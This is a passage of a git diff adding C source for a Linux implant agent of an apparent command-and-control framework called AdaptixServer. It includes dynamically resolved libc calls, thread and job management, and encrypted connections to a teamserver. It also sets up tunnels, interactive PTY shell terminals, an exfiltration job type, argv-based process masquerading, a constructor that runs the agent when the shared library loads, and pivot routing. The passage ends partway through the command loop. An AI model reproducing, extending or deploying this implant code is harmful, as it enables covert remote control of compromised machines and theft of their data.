+#define R_getaddrinfo(h,s,hi,r) ((int(*)(const char*,const char*,const void*,void**))g_apis.fn_getaddrinfo)(h,s,hi,r)
+#define R_freeaddrinfo(r) ((void(*)(void*))g_apis.fn_freeaddrinfo)(r)
+#define R_gethostname(b,l) ((int(*)(char*,unsigned long))g_apis.fn_gethostname)(b,l)
+#define R_setsockopt(s,l,o,v,n) ((int(*)(int,int,int,const void*,unsigned int))g_apis.fn_setsockopt)(s,l,o,v,n)
+#define R_getsockopt(s,l,o,v,n) ((int(*)(int,int,int,void*,unsigned int*))g_apis.fn_getsockopt)(s,l,o,v,n)
+#define R_select(n,r,w,e,t) ((int(*)(int,void*,void*,void*,void*))g_apis.fn_select)(n,r,w,e,t)
+#define R_send(s,b,l,f) ((long(*)(int,const void*,unsigned long,int))g_apis.fn_send)(s,b,l,f)
+#define R_recv(s,b,l,f) ((long(*)(int,void*,unsigned long,int))g_apis.fn_recv)(s,b,l,f)
+#define R_bind(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_bind)(s,a,l)
+#define R_listen(s,b) ((int(*)(int,int))g_apis.fn_listen)(s,b)
+#define R_accept(s,a,l) ((int(*)(int,void*,unsigned int*))g_apis.fn_accept)(s,a,l)
+
+#define R_pthread_create(t,a,f,d) ((int(*)(void*,const void*,void*(*)(void*),void*))g_apis.fn_pthread_create)(t,a,f,d)
+#define R_pthread_detach(t) ((int(*)(unsigned long))g_apis.fn_pthread_detach)(t)
+#define R_pthread_mutex_init(m,a) ((int(*)(void*,const void*))g_apis.fn_pthread_mutex_init)(m,a)
+#define R_pthread_mutex_lock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_lock)(m)
+#define R_pthread_mutex_unlock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_unlock)(m)
+
+#define R_pipe(p) ((int(*)(int*))g_apis.fn_pipe)(p)
+#define R_dup2(o,n) ((int(*)(int,int))g_apis.fn_dup2)(o,n)
+#define R_fcntl(fd,cmd,...) ((int(*)(int,int,...))g_apis.fn_fcntl)(fd,cmd,##__VA_ARGS__)
+#define R_posix_openpt(f) ((int(*)(int))g_apis.fn_posix_openpt)(f)
+#define R_grantpt(fd) ((int(*)(int))g_apis.fn_grantpt)(fd)
+#define R_unlockpt(fd) ((int(*)(int))g_apis.fn_unlockpt)(fd)
+#define R_ptsname(fd) ((char*(*)(int))g_apis.fn_ptsname)(fd)
+#define R_ioctl(fd,r,...) ((int(*)(int,unsigned long,...))g_apis.fn_ioctl)(fd,r,##__VA_ARGS__)
+
+#define R_getenv(k) ((char*(*)(const char*))g_apis.fn_getenv)(k)
+#define R_setenv(k,v,o) ((int(*)(const char*,const char*,int))g_apis.fn_setenv)(k,v,o)
+#define R_sleep(s) ((unsigned int(*)(unsigned int))g_apis.fn_sleep)(s)
+#define R_usleep(u) ((int(*)(unsigned int))g_apis.fn_usleep)(u)
+#define R_snprintf(b,n,f,...) ((int(*)(char*,unsigned long,const char*,...))g_apis.fn_snprintf)(b,n,f,##__VA_ARGS__)
+#define R_strtol(s,e,b) ((long(*)(const char*,char**,int))g_apis.fn_strtol)(s,e,b)
+
+#define R_getpwuid(u) ((void*(*)(unsigned int))g_apis.fn_getpwuid)(u)
+#define R_getgrgid(g) ((void*(*)(unsigned int))g_apis.fn_getgrgid)(g)
+#define R_getifaddrs(a) ((int(*)(void**))g_apis.fn_getifaddrs)(a)
+#define R_freeifaddrs(a) ((void(*)(void*))g_apis.fn_freeifaddrs)(a)
+#define R_inet_ntop(f,s,d,l) ((const char*(*)(int,const void*,char*,unsigned int))g_apis.fn_inet_ntop)(f,s,d,l)
+#define R_localtime(t) ((void*(*)(const void*))g_apis.fn_localtime)(t)
+#define R_strftime(b,m,f,t) ((unsigned long(*)(char*,unsigned long,const char*,const void*))g_apis.fn_strftime)(b,m,f,t)
+
+#define R_dlopen(f,m) ((void*(*)(const char*,int))g_apis.fn_dlopen)(f,m)
+#define R_dlsym(h,s) ((void*(*)(void*,const char*))g_apis.fn_dlsym)(h,s)
+#define R_dlclose(h) ((int(*)(void*))g_apis.fn_dlclose)(h)
+
+#endif /* ELF_RESOLVE_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c
new file mode 100644
index 000000000..6bc7ebea1
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c
@@ -0,0 +1,297 @@
+/// jobs.c -- Job management for Linux agent
+/// Dual mode: static ELF (clone+spinlock) or SO (pthread via resolver)
+
+#include "jobs.h"
+#include "crt.h"
+#include "crypt.h"
+#include "msgpack.h"
+
+#ifdef BUILD_SO
+#include "elf_resolve.h"
+#else
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+#endif
+
+/// Global job context instance
+job_context_t g_job_ctx;
+
+// ── Threading abstraction ──
+
+#ifdef BUILD_SO
+
+void jobs_mutex_init(pthread_mutex_t *m) {
+ R_pthread_mutex_init(m, (void*)0);
+}
+
+void jobs_mutex_lock(pthread_mutex_t *m) {
+ R_pthread_mutex_lock(m);
+}
+
+void jobs_mutex_unlock(pthread_mutex_t *m) {
+ R_pthread_mutex_unlock(m);
+}
+
+int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg) {
+ pthread_t t;
+ int ret = R_pthread_create(&t, (void*)0, fn, arg);
+ if (ret == 0) {
+ R_pthread_detach(t);
+ if (tid) *tid = t;
+ }
+ return ret;
+}
+
+#else
+
+// Static mode: spinlock + clone() with mmap'd stack
+
+void jobs_mutex_init(pthread_mutex_t *m) {
+ m->__lock = 0;
+}
+
+// Atomic swap: returns previous value, stores new_val
+static inline int atomic_swap(volatile int *ptr, int new_val) {
+#ifdef ARCH_X86_64
+ return __sync_lock_test_and_set(ptr, new_val);
+#else
+ // ARM64: LDAXR/STLXR loop (no libgcc dependency)
+ int old, tmp;
+ __asm__ volatile(
+ "1: ldaxr %w0, [%2] \n"
+ " stlxr %w1, %w3, [%2] \n"
+ " cbnz %w1, 1b \n"
+ : "=&r"(old), "=&r"(tmp)
+ : "r"(ptr), "r"(new_val)
+ : "memory"
+ );
+ return old;
+#endif
+}
+
+static inline void atomic_store_release(volatile int *ptr, int val) {
+#ifdef ARCH_X86_64
+ __sync_lock_release(ptr);
+#else
+ __asm__ volatile("stlr %w0, [%1]" : : "r"(val), "r"(ptr) : "memory");
+#endif
+}
+
+void jobs_mutex_lock(pthread_mutex_t *m) {
+ while (atomic_swap(&m->__lock, 1)) {
+ while (m->__lock) {
+#ifdef ARCH_X86_64
+ __asm__ volatile("pause");
+#else
+ __asm__ volatile("yield");
+#endif
+ }
+ }
+}
+
+void jobs_mutex_unlock(pthread_mutex_t *m) {
+ atomic_store_release(&m->__lock, 0);
+}
+
+#define THREAD_STACK_SIZE (256 * 1024)
+
+// Trampoline for clone-based threads
+typedef struct {
+ void *(*fn)(void*);
+ void *arg;
+} clone_trampoline_t;
+
+static int _clone_entry(void *param) {
+ clone_trampoline_t *info = (clone_trampoline_t*)param;
+ void *(*fn)(void*) = info->fn;
+ void *arg = info->arg;
+ ax_free(info);
+
+ fn(arg);
+
+ // Exit just this thread (with CLONE_THREAD, exit_group exits the thread)
+ raw_syscall1(__NR_exit, 0);
+ return 0; // unreachable
+}
+
+int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg) {
+ // Allocate stack via mmap
+ void *stack = sys_mmap((void*)0, THREAD_STACK_SIZE,
+ 3 /*PROT_READ|PROT_WRITE*/,
+ 0x22 /*MAP_PRIVATE|MAP_ANONYMOUS*/,
+ -1, 0);
+ if ((long)stack <= 0) return -1;
+
+ clone_trampoline_t *info = (clone_trampoline_t*)ax_malloc(sizeof(clone_trampoline_t));
+ info->fn = fn;
+ info->arg = arg;
+
+ // Stack grows downward
+ void *stack_top = (uint8_t*)stack + THREAD_STACK_SIZE;
+
+ long ret = raw_syscall5(__NR_clone,
+ (long)(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD),
+ (long)stack_top,
+ 0, 0,
+ (long)info);
+
+ if (ret < 0) {
+ ax_free(info);
+ sys_munmap(stack, THREAD_STACK_SIZE);
+ return -1;
+ }
+
+ if (ret == 0) {
+ // Child thread
+ _clone_entry(info);
+ // unreachable
+ }
+
+ if (tid) *tid = (pthread_t)ret;
+ return 0;
+}
+
+#endif // BUILD_SO
+
+// ── Job context management ──
+
+void jobs_init(job_context_t *ctx) {
+ ax_memset(ctx, 0, sizeof(job_context_t));
+ jobs_mutex_init(&ctx->jobs_mutex);
+ jobs_mutex_init(&ctx->tunnels_mutex);
+ jobs_mutex_init(&ctx->terminals_mutex);
+}
+
+void jobs_update_connection(job_context_t *ctx, const char *address,
+ int banner_size, const uint8_t *enc_key,
+ uint32_t profile_type) {
+ ax_strncpy(ctx->address, address, sizeof(ctx->address) - 1);
+ ctx->banner_size = banner_size;
+ ax_memcpy(ctx->enc_key, enc_key, 16);
+ ctx->profile_type = profile_type;
+}
+
+int jobs_open_connection(job_context_t *ctx, connector_t *conn) {
+ if (conn_open(conn, ctx->address) != 0)
+ return -1;
+
+ if (ctx->banner_size > 0) {
+ if (conn_discard(conn, (size_t)ctx->banner_size) != 0) {
+ conn_close(conn);
+ return -1;
+ }
+ }
+ return 0;
+}
+
+int jobs_alloc(job_context_t *ctx) {
+ jobs_mutex_lock(&ctx->jobs_mutex);
+ for (int i = 0; i < MAX_JOBS; i++) {
+ if (!ctx->jobs[i].active) {
+ ax_memset(&ctx->jobs[i], 0, sizeof(job_entry_t));
+ ctx->jobs[i].conn.fd = -1;
+ jobs_mutex_unlock(&ctx->jobs_mutex);
+ return i;
+ }
+ }
+ jobs_mutex_unlock(&ctx->jobs_mutex);
+ return -1;
+}
+
+int jobs_find(job_context_t *ctx, const char *job_id) {
+ jobs_mutex_lock(&ctx->jobs_mutex);
+ for (int i = 0; i < MAX_JOBS; i++) {
+ if (ctx->jobs[i].active && ax_strcmp(ctx->jobs[i].job_id, job_id) == 0) {
+ jobs_mutex_unlock(&ctx->jobs_mutex);
+ return i;
+ }
+ }
+ jobs_mutex_unlock(&ctx->jobs_mutex);
+ return -1;
+}
+
+void jobs_remove(job_context_t *ctx, int idx) {
+ jobs_mutex_lock(&ctx->jobs_mutex);
+ if (idx >= 0 && idx < MAX_JOBS) {
+ ctx->jobs[idx].active = 0;
+ ctx->jobs[idx].job_id[0] = '\0';
+ }
+ jobs_mutex_unlock(&ctx->jobs_mutex);
+}
+
+int tunnels_find(job_context_t *ctx, int channel_id) {
+ jobs_mutex_lock(&ctx->tunnels_mutex);
+ for (int i = 0; i < MAX_TUNNELS; i++) {
+ if (ctx->tunnels[i].active && ctx->tunnels[i].channel_id == channel_id) {
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+ return i;
+ }
+ }
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+ return -1;
+}
+
+int terminals_find(job_context_t *ctx, int term_id) {
+ jobs_mutex_lock(&ctx->terminals_mutex);
+ for (int i = 0; i < MAX_TERMINALS; i++) {
+ if (ctx->terminals[i].active && ctx->terminals[i].term_id == term_id) {
+ jobs_mutex_unlock(&ctx->terminals_mutex);
+ return i;
+ }
+ }
+ jobs_mutex_unlock(&ctx->terminals_mutex);
+ return -1;
+}
+
+int jobs_send_init(job_context_t *ctx, connector_t *conn,
+ int pack_type, const uint8_t *pack_data, uint32_t pack_len) {
+ mp_writer_t outer;
+ mp_writer_init(&outer, 256);
+ mp_write_map(&outer, 2);
+ mp_write_kv_int(&outer, "id", pack_type);
+ mp_write_kv_bin(&outer, "data", pack_data, pack_len);
+
+ size_t enc_len;
+ uint8_t *encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len,
+ ctx->enc_key, &enc_len);
+ mp_writer_free(&outer);
+ if (!encrypted) return -1;
+
+ int ret = conn_send_msg(conn, encrypted, enc_len);
+ ax_free(encrypted);
+ return ret;
+}
+
+int jobs_send_message(job_context_t *ctx, connector_t *conn,
+ uint32_t command_id, const char *job_id,
+ const uint8_t *data, uint32_t data_len) {
+ mp_writer_t job_w;
+ mp_writer_init(&job_w, 256 + data_len);
+ mp_write_map(&job_w, 3);
+ mp_write_kv_uint(&job_w, "command_id", command_id);
+ mp_write_kv_str(&job_w, "job_id", job_id);
+ mp_write_kv_bin(&job_w, "data", data, data_len);
+
+ mp_writer_t msg_w;
+ mp_writer_init(&msg_w, 256 + job_w.buf.len);
+ mp_write_map(&msg_w, 2);
+ mp_write_kv_int(&msg_w, "type", 2);
+ mp_write_str(&msg_w, "object", 6);
+ mp_write_array(&msg_w, 1);
+ mp_write_bin(&msg_w, job_w.buf.data, (uint32_t)job_w.buf.len);
+ mp_writer_free(&job_w);
+
+ size_t enc_len;
+ uint8_t *encrypted = aes128_gcm_encrypt(msg_w.buf.data, msg_w.buf.len,
+ ctx->session_key, &enc_len);
+ mp_writer_free(&msg_w);
+ if (!encrypted) return -1;
+
+ int ret = conn_send_msg(conn, encrypted, enc_len);
+ ax_free(encrypted);
+ return ret;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h
new file mode 100644
index 000000000..2642abfb7
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h
@@ -0,0 +1,164 @@
+#ifndef JOBS_H
+#define JOBS_H
+
+#include "types.h"
+#include "connector.h"
+#include "msgpack.h"
+#include
+
+/// Threading abstraction:
+/// - BUILD_SO mode: uses R_pthread_create/mutex from resolved libc
+/// - Static ELF mode: uses clone() with mmap'd stack (no libc)
+
+#ifndef _PTHREAD_TYPES_DEFINED
+#define _PTHREAD_TYPES_DEFINED
+typedef unsigned long pthread_t;
+typedef struct { volatile int __lock; } pthread_mutex_t;
+#endif
+
+/// Job management system -- async tasks via threads
+/// Matches Go agent's DOWNLOADS, JOBS, TUNNELS, TERMINALS maps
+
+#define MAX_JOBS 32
+#define MAX_TUNNELS 16
+#define MAX_TERMINALS 8
+
+/// Job types (maps to pack types)
+#define JOB_TYPE_DOWNLOAD EXFIL_PACK /* 2 */
+#define JOB_TYPE_RUN JOB_PACK /* 3 */
+#define JOB_TYPE_TUNNEL JOB_TUNNEL /* 4 */
+#define JOB_TYPE_TERMINAL JOB_TERMINAL /* 5 */
+
+/// Job state
+typedef struct {
+ char job_id[64]; /* task ID (hex string from server) */
+ int job_type; /* JOB_TYPE_* */
+ int active; /* 1 = running, 0 = finished/canceled */
+ int canceled; /* 1 = cancel requested */
+ pthread_t thread; /* worker thread */
+ connector_t conn; /* separate C2 connection for this job */
+} job_entry_t;
+
+/// Tunnel controller -- MUX model (data flows in main channel, no separate C2 connection)
+/// Follows beacon's Proxyfire pattern: non-blocking polling in main loop.
+#define TUNNEL_STATE_CONNECTING 0
+#define TUNNEL_STATE_READY 1
+#define TUNNEL_STATE_CLOSED 2
+
+#define TUNNEL_HIGH_WATERMARK (4 * 1024 * 1024) /* 4 MB: send PAUSE to teamserver */
+#define TUNNEL_LOW_WATERMARK (1 * 1024 * 1024) /* 1 MB: send RESUME to teamserver */
+#define TUNNEL_HARD_CAP (16 * 1024 * 1024) /* 16 MB: kill channel */
+#define TUNNEL_CONNECT_TIMEOUT 30 /* seconds */
+
+typedef struct {
+ int channel_id;
+ int active;
+ int paused; /* teamserver told us to stop reading from target */
+ int client_fd; /* socket to target (non-blocking) */
+ int state; /* TUNNEL_STATE_* */
+ uint8_t *write_buf; /* data from teamserver → target socket */
+ uint32_t write_len;
+ uint32_t write_cap;
+ int agent_paused; /* we sent PAUSE to teamserver (backpressure) */
+ uint32_t connect_start; /* monotonic timestamp for connect timeout */
+} tunnel_entry_t;
+
+/// Terminal controller
+typedef struct {
+ int term_id;
+ int active;
+ int canceled;
+ pthread_t thread;
+ connector_t srv_conn; /* connection to C2 */
+ int pty_master; /* PTY master fd */
+ int child_pid; /* shell process pid */
+} terminal_entry_t;
+
+/// Upload staging (synchronous -- data received in command loop)
+typedef struct {
+ char task_id[64];
+ uint8_t *data;
+ size_t data_len;
+ size_t data_cap;
+} upload_entry_t;
+
+/// Global job context -- shared state needed by async threads
+typedef struct {
+ /* Agent identity (for init packs) */
+ uint32_t agent_id;
+ uint32_t profile_type;
+ uint8_t enc_key[16]; /* profile encryption key */
+ uint8_t session_key[16]; /* session key (SKey) */
+
+ /* Connection info for spawning new connections */
+ char address[256]; /* current C2 address */
+ int banner_size; /* banner to discard on new connections */
+
+ /* Job tracking */
+ job_entry_t jobs[MAX_JOBS];
+ int job_count;
+ pthread_mutex_t jobs_mutex;
+
+ /* Tunnel tracking */
+ tunnel_entry_t tunnels[MAX_TUNNELS];
+ int tunnel_count;
+ pthread_mutex_t tunnels_mutex;
+
+ /* Terminal tracking */
+ terminal_entry_t terminals[MAX_TERMINALS];
+ int terminal_count;
+ pthread_mutex_t terminals_mutex;
+
+ /* Upload staging */
+ upload_entry_t uploads[MAX_JOBS];
+ int upload_count;
+} job_context_t;
+
+/// Initialize job context (call once at startup)
+void jobs_init(job_context_t *ctx);
+
+/// Update connection info when profile/address changes
+void jobs_update_connection(job_context_t *ctx, const char *address,
+ int banner_size, const uint8_t *enc_key,
+ uint32_t profile_type);
+
+/// Open a new C2 connection for an async job
+int jobs_open_connection(job_context_t *ctx, connector_t *conn);
+
+/// Find a free job slot (returns index or -1)
+int jobs_alloc(job_context_t *ctx);
+
+/// Find job by ID (returns index or -1)
+int jobs_find(job_context_t *ctx, const char *job_id);
+
+/// Remove job by index
+void jobs_remove(job_context_t *ctx, int idx);
+
+/// Find tunnel by channel_id
+int tunnels_find(job_context_t *ctx, int channel_id);
+
+/// Find terminal by term_id
+int terminals_find(job_context_t *ctx, int term_id);
+
+/// Build and send a job message on a separate connection
+int jobs_send_message(job_context_t *ctx, connector_t *conn,
+ uint32_t command_id, const char *job_id,
+ const uint8_t *data, uint32_t data_len);
+
+/// Build and send the init pack for an async job
+int jobs_send_init(job_context_t *ctx, connector_t *conn,
+ int pack_type, const uint8_t *pack_data, uint32_t pack_len);
+
+/// Create a detached thread running fn(arg). Returns 0 on success.
+/// Uses pthread in SO mode, clone()+mmap stack in static mode.
+int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg);
+
+/// Mutex operations (pthread in SO mode, spinlock in static mode)
+void jobs_mutex_init(pthread_mutex_t *m);
+void jobs_mutex_lock(pthread_mutex_t *m);
+void jobs_mutex_unlock(pthread_mutex_t *m);
+
+/// Global job context (set in main.c)
+extern job_context_t g_job_ctx;
+
+#endif /* JOBS_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c
new file mode 100644
index 000000000..4fa8f59f6
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c
@@ -0,0 +1,600 @@
+#include "types.h"
+#include "crt.h"
+#include "msgpack.h"
+#include "crypt.h"
+#include "connector.h"
+#include "agent_info.h"
+#include "commander.h"
+#include "jobs.h"
+#include "pivot.h"
+#include "proxyfire.h"
+#include "elf_resolve.h"
+#include "opsec.h"
+#include "config.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+/// Global state
+static int ACTIVE = 1;
+
+/// Stored argv for process masquerading (set by entry point)
+char **g_argv = NULL;
+
+/// Decode an encrypted profile blob
+/// Input: [key 16B][AES-128-GCM encrypted msgpack(Profile)]
+typedef struct {
+ uint32_t type;
+ uint32_t listener_watermark;
+ char** addresses;
+ uint32_t addr_count;
+ int banner_size;
+ int conn_timeout;
+ int conn_count;
+ int use_ssl;
+ uint8_t enc_key[16];
+ uint16_t bind_port;
+} profile_t;
+
+static int decode_profile(const uint8_t* enc_data, uint32_t enc_size, profile_t* prof) {
+ if (enc_size < 16 + GCM_NONCE_SIZE + GCM_TAG_SIZE) return -1;
+
+ // Extract key (first 16 bytes)
+ ax_memcpy(prof->enc_key, enc_data, 16);
+
+ // Decrypt the rest
+ size_t pt_len;
+ uint8_t* plaintext = aes128_gcm_decrypt(enc_data + 16, enc_size - 16, prof->enc_key, &pt_len);
+ if (!plaintext) return -1;
+
+ // Parse msgpack Profile struct
+ mp_reader_t r;
+ mp_reader_init(&r, plaintext, pt_len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ ax_free(plaintext);
+ return -1;
+ }
+
+ // Initialize defaults
+ prof->type = 0;
+ prof->listener_watermark = 0;
+ prof->addresses = (char**)0;
+ prof->addr_count = 0;
+ prof->banner_size = 0;
+ prof->conn_timeout = 10;
+ prof->conn_count = 1000000000;
+ prof->use_ssl = 0;
+ prof->bind_port = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 4 && ax_memcmp(key, "type", 4) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->type = (uint32_t)v;
+ } else if (klen == 18 && ax_memcmp(key, "listener_watermark", 18) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->listener_watermark = (uint32_t)v;
+ } else if (klen == 9 && ax_memcmp(key, "addresses", 9) == 0) {
+ uint32_t arr_count;
+ if (mp_read_array(&r, &arr_count) == 0) {
+ prof->addresses = (char**)ax_malloc(arr_count * sizeof(char*));
+ prof->addr_count = arr_count;
+ for (uint32_t j = 0; j < arr_count; j++) {
+ const char* addr; uint32_t alen;
+ mp_read_str(&r, &addr, &alen);
+ prof->addresses[j] = (char*)ax_malloc(alen + 1);
+ ax_memcpy(prof->addresses[j], addr, alen);
+ prof->addresses[j][alen] = '\0';
+ }
+ }
+ } else if (klen == 11 && ax_memcmp(key, "banner_size", 11) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->banner_size = (int)v;
+ } else if (klen == 12 && ax_memcmp(key, "conn_timeout", 12) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->conn_timeout = (int)v;
+ } else if (klen == 10 && ax_memcmp(key, "conn_count", 10) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->conn_count = (int)v;
+ } else if (klen == 7 && ax_memcmp(key, "use_ssl", 7) == 0) {
+ bool v; mp_read_bool(&r, &v); prof->use_ssl = v ? 1 : 0;
+ } else if (klen == 9 && ax_memcmp(key, "bind_port", 9) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); prof->bind_port = (uint16_t)v;
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ ax_free(plaintext);
+ return 0;
+}
+
+static void free_profile(profile_t* prof) {
+ if (prof->addresses) {
+ for (uint32_t i = 0; i < prof->addr_count; i++) {
+ if (prof->addresses[i])
+ ax_free(prof->addresses[i]);
+ }
+ ax_free(prof->addresses);
+ }
+}
+
+/// Build the init message: [4B listener_watermark BE][encrypted(StartMsg{type:INIT_PACK, data:InitPack{id, type, data:sessionInfo}})]
+/// The 4B watermark prefix enables pivot routing — parent extracts it and sends to teamserver
+/// Encrypted portion uses profile key (AES-128-GCM)
+static int build_init_msg(uint32_t agent_id, uint32_t profile_type,
+ uint32_t listener_watermark,
+ const uint8_t* session_info, size_t si_len,
+ const uint8_t* enc_key,
+ uint8_t** out_msg, size_t* out_len) {
+ // Inner: InitPack — declaration order: Id, Type, Data → tags: id, type, data
+ mp_writer_t inner;
+ mp_writer_init(&inner, 256);
+ mp_write_map(&inner, 3);
+ mp_write_kv_uint(&inner, "id", agent_id);
+ mp_write_kv_uint(&inner, "type", profile_type);
+ mp_write_kv_bin(&inner, "data", session_info, (uint32_t)si_len);
+
+ // Outer: StartMsg — declaration order: Type, Data → tags: id, data
+ mp_writer_t outer;
+ mp_writer_init(&outer, 256);
+ mp_write_map(&outer, 2);
+ mp_write_kv_int(&outer, "id", INIT_PACK);
+ mp_write_kv_bin(&outer, "data", inner.buf.data, (uint32_t)inner.buf.len);
+
+ mp_writer_free(&inner);
+
+ // Encrypt with profile key
+ size_t enc_len;
+ uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, enc_key, &enc_len);
+ mp_writer_free(&outer);
+
+ if (!encrypted) return -1;
+
+ // Prepend 4-byte listener watermark (big-endian) for pivot routing
+ size_t total_len = 4 + enc_len;
+ uint8_t* msg = (uint8_t*)ax_malloc(total_len);
+ if (!msg) { ax_free(encrypted); return -1; }
+
+ msg[0] = (uint8_t)(listener_watermark >> 24);
+ msg[1] = (uint8_t)(listener_watermark >> 16);
+ msg[2] = (uint8_t)(listener_watermark >> 8);
+ msg[3] = (uint8_t)(listener_watermark);
+ ax_memcpy(msg + 4, encrypted, enc_len);
+ ax_free(encrypted);
+
+ *out_msg = msg;
+ *out_len = total_len;
+ return 0;
+}
+
+/// Parse Message{type: int8, object: [][]byte} from decrypted data
+static int parse_message(const uint8_t* data, size_t len,
+ int8_t* msg_type,
+ const uint8_t*** objects, uint32_t** obj_sizes,
+ uint32_t* obj_count) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ *msg_type = 0;
+ *objects = (const uint8_t**)0;
+ *obj_sizes = (uint32_t*)0;
+ *obj_count = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+
+ if (klen == 6 && ax_memcmp(key, "object", 6) == 0) {
+ uint32_t arr_count;
+ if (mp_read_array(&r, &arr_count) != 0) return -1;
+
+ *objects = (const uint8_t**)ax_malloc(arr_count * sizeof(uint8_t*));
+ *obj_sizes = (uint32_t*)ax_malloc(arr_count * sizeof(uint32_t));
+ *obj_count = arr_count;
+
+ for (uint32_t j = 0; j < arr_count; j++) {
+ const uint8_t* bin_data;
+ uint32_t bin_len;
+ if (mp_read_bin(&r, &bin_data, &bin_len) != 0) return -1;
+ (*objects)[j] = bin_data;
+ (*obj_sizes)[j] = bin_len;
+ }
+ } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) {
+ int64_t v;
+ if (mp_read_int(&r, &v) != 0) return -1;
+ *msg_type = (int8_t)v;
+ } else {
+ mp_skip(&r);
+ }
+ }
+ return 0;
+}
+
+/// Parse a single Command from msgpack: {code: uint, id: uint, data: []byte}
+static int parse_command(const uint8_t* data, size_t len,
+ uint32_t* code, uint32_t* cmd_id,
+ const uint8_t** cmd_data, uint32_t* cmd_data_len) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, len);
+
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ *code = 0; *cmd_id = 0; *cmd_data = (uint8_t*)0; *cmd_data_len = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key;
+ uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+
+ if (klen == 4 && ax_memcmp(key, "code", 4) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); *code = (uint32_t)v;
+ } else if (klen == 2 && ax_memcmp(key, "id", 2) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); *cmd_id = (uint32_t)v;
+ } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) {
+ mp_read_bin(&r, cmd_data, cmd_data_len);
+ } else {
+ mp_skip(&r);
+ }
+ }
+ return 0;
+}
+
+/// ---- Entry points ----
+
+static int agent_main(void);
+
+#ifdef BUILD_SO
+// Linux passes argc, argv, envp to constructors (GCC extension)
+__attribute__((constructor))
+static void so_entry(int argc, char **argv, char **envp) {
+ (void)argc; (void)envp;
+ g_argv = argv;
+ agent_main();
+}
+#else
+// Static ELF: _start receives the stack directly from the kernel.
+// On Linux x86_64/ARM64, stack layout at _start:
+// [rsp/sp] = argc
+// [rsp+8] = argv[0]
+// [rsp+16] = argv[1]
+// ...
+//
+// CRITICAL: _start MUST be naked. Without naked, gcc generates a
+// function prologue (push rbp; mov rbp,rsp) that shifts RSP before
+// we can read it, corrupting g_argv → segfault in masquerade/migrate.
+
+// Helper called from the naked ASM trampoline with the original SP value.
+__attribute__((noreturn, noinline, used))
+static void _start_c(unsigned long *stack) {
+ g_argv = (char **)(stack + 1); // argv starts after argc
+ int ret = agent_main();
+ sys_exit_group(ret);
+ __builtin_unreachable();
+}
+
+__attribute__((naked, noreturn))
+void _start(void) {
+#ifdef ARCH_X86_64
+ __asm__ volatile (
+ "mov %%rsp, %%rdi\n" // rdi = original SP (argc at [rsp])
+ "and $-16, %%rsp\n" // 16-byte align stack (ABI)
+ "call _start_c\n"
+ ::: "memory"
+ );
+#elif defined(ARCH_AARCH64)
+ __asm__ volatile (
+ "mov x0, sp\n" // x0 = original SP (argc at [sp])
+ "and sp, x0, #-16\n" // 16-byte align stack (ABI)
+ "bl _start_c\n"
+ ::: "memory"
+ );
+#endif
+}
+#endif
+
+/// Command loop — shared between client TCP and bind TCP modes.
+/// Handles recv/process/send cycle with non-blocking polling.
+/// Returns 0 if ACTIVE was set to 0 (exit), -1 on connection error.
+static int command_loop(connector_t* conn, const uint8_t* session_key) {
+ while (ACTIVE) {
+ uint8_t* recv_data = (uint8_t*)0;
+ size_t recv_len = 0;
+
+ // Poll C2 socket with 100ms timeout
+ int poll_ret = conn_recv_msg_timeout(conn, &recv_data, &recv_len, 100);
+ if (poll_ret < 0) return -1; // error/disconnect → reconnect
+
+ // Build response objects collector
+ mp_writer_t obj_collector;
+ mp_writer_init(&obj_collector, 1024);
+ uint32_t resp_count = 0;
+
+ // If we received data from teamserver, process it
